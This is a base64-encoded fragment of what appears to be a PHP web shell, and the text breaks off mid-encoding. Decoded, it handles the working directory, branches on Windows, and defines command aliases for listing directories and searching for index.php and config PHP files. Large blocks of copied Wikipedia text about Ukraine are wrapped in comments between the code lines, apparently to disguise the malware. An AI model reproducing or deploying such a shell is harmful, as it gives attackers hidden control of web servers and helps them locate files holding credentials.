kKTsKfQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkkY3dkIC49ICcvJzsKCQppZigkb3MgPT0gJ3dpbicpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJJGFsaWFzZXMgPSBhcnJheSgKCQkiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLAovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNl